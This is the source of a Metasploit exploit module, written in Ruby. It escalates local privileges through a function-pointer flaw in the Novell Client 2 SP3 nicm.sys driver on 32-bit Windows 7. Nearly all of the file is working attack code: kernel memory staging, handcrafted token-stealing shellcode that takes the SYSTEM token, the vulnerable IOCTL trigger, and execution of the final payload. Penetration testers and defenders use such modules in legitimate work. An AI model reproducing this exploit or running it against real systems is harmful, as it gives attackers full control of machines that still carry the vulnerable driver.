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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, { 'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation', 'Description'=> %q{ This module exploits a flaw in the nicm.sys driver to execute arbitrary code in kernel space. The vulnerability occurs while handling ioctl requests with code 0x143B6B, where a user provided pointer is used as function pointer. The module has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets'=> [ # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows # as installed with Novell Client 2 SP3 for Windows 7 [ 'Automatic', { } ], [ 'Windows 7 SP1', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x50",# Offset to _KPROCESS from a _ETHREAD struct '_TOKEN'=> "\xf8",# Offset to TOKEN from the _EPROCESS struct '_UPID' => "\xb4",# Offset to UniqueProcessId FROM the _EPROCESS struct '_APLINKS'=> "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct } ] ], 'Payload'=> { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'OSVDB', '93718' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'URL', 'http://pastebin.com/GB4iiEwR' ] ], 'DisclosureDate' => 'May 22 2013', 'DefaultTarget'=> 0 })) end def add_railgun_functions session.railgun.add_function( 'ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ]) session.railgun.add_function( 'ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ]) session.railgun.add_function( 'ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ]) session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"] ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"] ]) end def open_device(dev) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def execute_shellcode(shell_addr) vprint_status("Creating the thread to execute the shellcode...") ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 vprint_error("Unable to CreateThread") return nil end hthread = ret['return'] vprint_status("Resuming the Thread...") ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 vprint_error("Unable to ResumeThread") return nil end return true end def ring0_shellcode(t) tokenstealing ="\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + t['_KPROCESS']# mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0f8h]# Retrieves TOKEN tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+b8h]<====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"# sub eax,b8h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx# Restores ebx tokenstealing << "\x5a" # pop edx# Restores edx tokenstealing << "\xc2\x08" # ret 08h# Away from the kernel! return tokenstealing end def allocate_memory(proc, address, length) result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not result["BaseAddress"] or result["BaseAddress"].empty? vprint_error("Failed to allocate memory") return nil end my_address = result["BaseAddress"].unpack("V")[0] vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") if not proc.memory.writable?(my_address) vprint_error("Failed to allocate memory") return nil else vprint_good("0x#{my_address.to_s(16)} is now writable") end return my_address end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def check handle = open_device("\\\\.\\nicm") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Detected end def exploit vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil if target.name =~ /Automatic/ print_status("Detecting the target system...") os = sysinfo["OS"] if os =~ /windows 7/i my_target = targets[1] print_status("Running against #{my_target.name}") end else my_target = target end if my_target.nil? fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nicm") if handle.nil? fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found") else print_good("\\\\.\\nicm found!") end this_proc = session.sys.process.open print_status("Storing the Kernel stager on memory...") stager_address = 0x0d0d0000 stager_address = allocate_memory(this_proc, stager_address, 0x1000) if stager_address.nil? or stager_address == 0 session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end # eax => &kernel_stager # .text:000121A3 mov ecx, eax # .text:000121A5 mov eax, [ecx] # .text:000121A7 mov edx, [eax] # .text:000121A9 pushecx # .text:000121AA pusheax # .text:000121AB calldword ptr [edx+0Ch] kernel_stager =[ stager_address + 0x14, # stager_address junk, junk, junk, junk, stager_address + 0x18, # stager_address + 0x14 junk, junk, junk, stager_address + 0x28# stager_address + 0x24 ].pack("V*") kernel_stager << ring0_shellcode(my_target) result = this_proc.memory.write(stager_address, kernel_stager) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end print_status("Triggering the vulnerability to execute the Kernel Handler") magic_ioctl = 0x143B6B # Vulnerable IOCTL ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) session.railgun.kernel32.CloseHandle(handle) if ioctl["GetLastError"] != 0 print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") end print_status("Checking privileges after exploitation...") if not is_system? fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end print_status("Storing the final payload on memory...") shell_address = 0x0c0c0000 shell_address = allocate_memory(this_proc, shell_address, 0x1000) if shell_address.nil? fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") end result = this_proc.memory.write(shell_address, payload.encoded) if result.nil? fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") else print_good("Contents successfully written to 0x#{shell_address.to_s(16)}") end print_status("Executing the payload...") result = execute_shellcode(shell_address) if result.nil? fail_with(Exploit::Failure::Unknown, "Error while executing the payload") else print_good("Enjoy!") end end end |
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